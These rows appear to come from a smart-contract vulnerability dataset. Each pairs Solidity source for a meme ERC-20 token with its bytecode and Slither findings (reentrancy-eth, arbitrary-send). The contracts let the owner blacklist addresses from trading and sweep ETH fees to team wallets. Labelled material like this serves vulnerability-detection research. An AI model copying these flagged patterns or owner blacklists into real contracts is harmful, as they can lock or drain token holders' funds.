uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnable = true;
removeMaxTxn = true;
_maxTxAmount = 300000000000 * 10**9;
_maxHeldAmount = 1000000000000 * 10**9;
tradingStarted = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _tfee, _mfee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function setFee(uint256 buyFee, uint256 sellFee)external onlyOwner() {
if (sellFee <= _sellFee && buyFee <= _buyFee) {
_buyFee = buyFee;
_sellFee = sellFee;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101235760003560e01c8063715018a6116100a0578063a9059cbb11610064578063a9059cbb1461030b578063b515566a1461032b578063c3c8cd801461034b578063c9567bf914610360578063dd62ed3e1461037557600080fd5b8063715018a614610299578063733ec069146102ae5780638da5cb5b146102ce57806395d89b411461012f5780639e78fb4f146102f657600080fd5b80632b51106a116100e75780632b51106a14610208578063313ce5671461022857806352f7c988146102445780636fc3eaec1461026457806370a082311461027957600080fd5b806306fdde031461012f578063095ea7b31461016f57806318160ddd1461019f57806323b872dd146101c6578063273123b7146101e657600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b50604080518082018252600881526712195e50dc9e5c1d60c21b602082015290516101669190611663565b60405180910390f35b34801561017b57600080fd5b5061018f61018a3660046116dd565b6103bb565b6040519015158152602001610166565b3480156101ab57600080fd5b5069152d02c7e14af68000005b604051908152602001610166565b3480156101d257600080fd5b5061018f6101e1366004611709565b6103d2565b3480156101f257600080fd5b5061020661020136600461174a565b61043b565b005b34801561021457600080fd5b50610206610223366004611775565b61048f565b34801561023457600080fd5b5060405160098152602001610166565b34801561025057600080fd5b5061020661025f366004611792565b6104d7565b34801561027057600080fd5b50610206610529565b34801561028557600080fd5b506101b861029436600461174a565b610560565b3480156102a557600080fd5b50610206610582565b3480156102ba57600080fd5b506102066102c9366004611792565b6105f6565b3480156102da57600080fd5b506000546040516001600160a01b039091168152602001610166565b34801561030257600080fd5b5061020661063c565b34801561031757600080fd5b5061018f6103263660046116dd565b61087b565b34801561033757600080fd5b506102066103463660046117ca565b610888565b34801561035757600080fd5b5061020661091a565b34801561036c57600080fd5b5061020661095a565b34801561038157600080fd5b506101b861039036600461188f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103c8338484610b31565b5060015b92915050565b60006103df848484610c55565b610431843361042c85604051806060016040528060288152602001611a8e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f43565b610b31565b5060019392505050565b6000546001600160a01b0316331461046e5760405162461bcd60e51b8152600401610465906118c8565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104b95760405162461bcd60e51b8152600401610465906118c8565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105015760405162461bcd60e51b8152600401610465906118c8565b600b5481111580156105155750600c548211155b1561052557600c829055600b8190555b5050565b6000546001600160a01b031633146105535760405162461bcd60e51b8152600401610465906118c8565b4761055d81610f7d565b50565b6001600160a01b0381166000908152600260205260408120546103cc90610fb7565b6000546001600160a01b031633146105ac5760405162461bcd60e51b8152600401610465906118c8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106205760405162461bcd60e51b8152600401610465906118c8565b681043561a882930000082111561052557601091909155601155565b6000546001600160a01b031633146106665760405162461bcd60e51b8152600401610465906118c8565b600f54600160a01b900460ff16156106c05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610465565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072057600080fd5b505afa158015610734573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075891906118fd565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a057600080fd5b505afa1580156107b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d891906118fd565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082057600080fd5b505af1158015610834573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085891906118fd565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b60006103c8338484610c55565b6000546001600160a01b031633146108b25760405162461bcd60e51b8152600401610465906118c8565b60005b8151811015610525576001600660008484815181106108d6576108d661191a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091281611946565b9150506108b5565b6000546001600160a01b031633146109445760405162461bcd60e51b8152600401610465906118c8565b600061094f30610560565b905061055d8161103b565b6000546001600160a01b031633146109845760405162461bcd60e51b8152600401610465906118c8565b600e546109a69030906001600160a01b031669152d02c7e14af6800000610b31565b600e546001600160a01b031663f305d71947306109c281610560565b6000806109d76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3a57600080fd5b505af1158015610a4e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a739190611961565b5050600f8054681043561a8829300000601055683635c9adc5dea0000060115563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610af957600080fd5b505af1158015610b0d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061055d919061198f565b6001600160a01b038316610b935760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610465565b6001600160a01b038216610bf45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610465565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cb95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610465565b6001600160a01b038216610d1b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610465565b60008111610d2857600080fd5b6001600160a01b03831660009081526006602052604090205460ff1615610d4e57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610d9057506001600160a01b03821660009081526005602052604090205460ff16155b15610f33576000600955600c54600a55600f546001600160a01b038481169116148015610dcb5750600e546001600160a01b03838116911614155b8015610df057506001600160a01b03821660009081526005602052604090205460ff16155b8015610e055750600f54600160b81b900460ff165b15610e40576000610e1583610560565b9050601054821115610e2657600080fd5b601154610e3383836111c4565b1115610e3e57600080fd5b505b600f546001600160a01b038381169116148015610e6b5750600e546001600160a01b03848116911614155b8015610e9057506001600160a01b03831660009081526005602052604090205460ff16155b15610ea1576000600955600b54600a555b6000610eac30610560565b600f54909150600160a81b900460ff16158015610ed75750600f546001600160a01b03858116911614155b8015610eec5750600f54600160b01b900460ff165b15610f31576000610efe6006836119ac565b9050610f0a81836119ce565b9150610f1581611223565b610f1e8261103b565b478015610f2e57610f2e47610f7d565b50505b505b610f3e838383611259565b505050565b60008184841115610f675760405162461bcd60e51b81526004016104659190611663565b506000610f7484866119ce565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610525573d6000803e3d6000fd5b600060075482111561101e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610465565b6000611028611264565b90506110348382611287565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110835761108361191a565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110d757600080fd5b505afa1580156110eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110f91906118fd565b816001815181106111225761112261191a565b6001600160a01b039283166020918202929092010152600e546111489130911684610b31565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111819085906000908690309042906004016119e5565b600060405180830381600087803b15801561119b57600080fd5b505af11580156111af573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806111d18385611a56565b9050838110156110345760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610465565b600f805460ff60a81b1916600160a81b1790558015611249576112493061dead83610c55565b50600f805460ff60a81b19169055565b610f3e8383836112c9565b60008060006112716113c0565b90925090506112808282611287565b9250505090565b600061103483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611404565b6000806000806000806112db87611432565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061130d908761148f565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461133c90866111c4565b6001600160a01b03891660009081526002602052604090205561135e816114d1565b611368848361151b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113ad91815260200190565b60405180910390a3505050505050505050565b600754600090819069152d02c7e14af68000006113dd8282611287565b8210156113fb5750506007549269152d02c7e14af680000092509050565b90939092509050565b600081836114255760405162461bcd60e51b81526004016104659190611663565b506000610f7484866119ac565b600080600080600080600080600061144f8a600954600a5461153f565b925092509250600061145f611264565b905060008060006114728e878787611594565b919e509c509a509598509396509194505050505091939550919395565b600061103483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f43565b60006114db611264565b905060006114e983836115e4565b3060009081526002602052604090205490915061150690826111c4565b30600090815260026020526040902055505050565b600754611528908361148f565b60075560085461153890826111c4565b6008555050565b6000808080611559606461155389896115e4565b90611287565b9050600061156c60646115538a896115e4565b905060006115848261157e8b8661148f565b9061148f565b9992985090965090945050505050565b60008080806115a388866115e4565b905060006115b188876115e4565b905060006115bf88886115e4565b905060006115d18261157e868661148f565b939b939a50919850919650505050505050565b6000826115f3575060006103cc565b60006115ff8385611a6e565b90508261160c85836119ac565b146110345760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610465565b600060208083528351808285015260005b8181101561169057858101830151858201604001528201611674565b818111156116a2576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461055d57600080fd5b80356116d8816116b8565b919050565b600080604083850312156116f057600080fd5b82356116fb816116b8565b946020939093013593505050565b60008060006060848603121561171e57600080fd5b8335611729816116b8565b92506020840135611739816116b8565b929592945050506040919091013590565b60006020828403121561175c57600080fd5b8135611034816116b8565b801515811461055d57600080fd5b60006020828403121561178757600080fd5b813561103481611767565b600080604083850312156117a557600080fd5b50508035926020909101359150565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117dd57600080fd5b823567ffffffffffffffff808211156117f557600080fd5b818501915085601f83011261180957600080fd5b81358181111561181b5761181b6117b4565b8060051b604051601f19603f83011681018181108582111715611840576118406117b4565b60405291825284820192508381018501918883111561185e57600080fd5b938501935b8285101561188357611874856116cd565b84529385019392850192611863565b98975050505050505050565b600080604083850312156118a257600080fd5b82356118ad816116b8565b915060208301356118bd816116b8565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561190f57600080fd5b8151611034816116b8565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561195a5761195a611930565b5060010190565b60008060006060848603121561197657600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119a157600080fd5b815161103481611767565b6000826119c957634e487b7160e01b600052601260045260246000fd5b500490565b6000828210156119e0576119e0611930565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a355784516001600160a01b031683529383019391830191600101611a10565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a6957611a69611930565b500190565b6000816000190483118215151615611a8857611a88611930565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b7a0cfa5577c4f48cfe556c67da77ae1010748dab613f2048e337337d4d7e35664736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 962 |
0x4f76cf0a0f1f30f001016a3c48348dc28c913375 | /**
*Submitted for verification at Etherscan.io on 2021-11-11
*/
/*
------------------------------------------
HOLY SHIT BEARS ARE FUCKED
Telegram: https://t.me/HSBAFTOKEN
------------------------------------------
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HSBAF is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "HSBAF";
string private constant _symbol = "HSBAF";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e7a565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612981565b61045e565b6040516101789190612e5f565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a3919061301c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061292e565b61048d565b6040516101e09190612e5f565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613091565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a0a565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b1919061301c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d91565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e7a565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612981565b61098d565b60405161035b9190612e5f565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129c1565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a64565b6110ab565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128ee565b6111f4565b604051610418919061301c565b60405180910390f35b60606040518060400160405280600581526020017f4853424146000000000000000000000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161379860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f5c565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f5c565b6040518091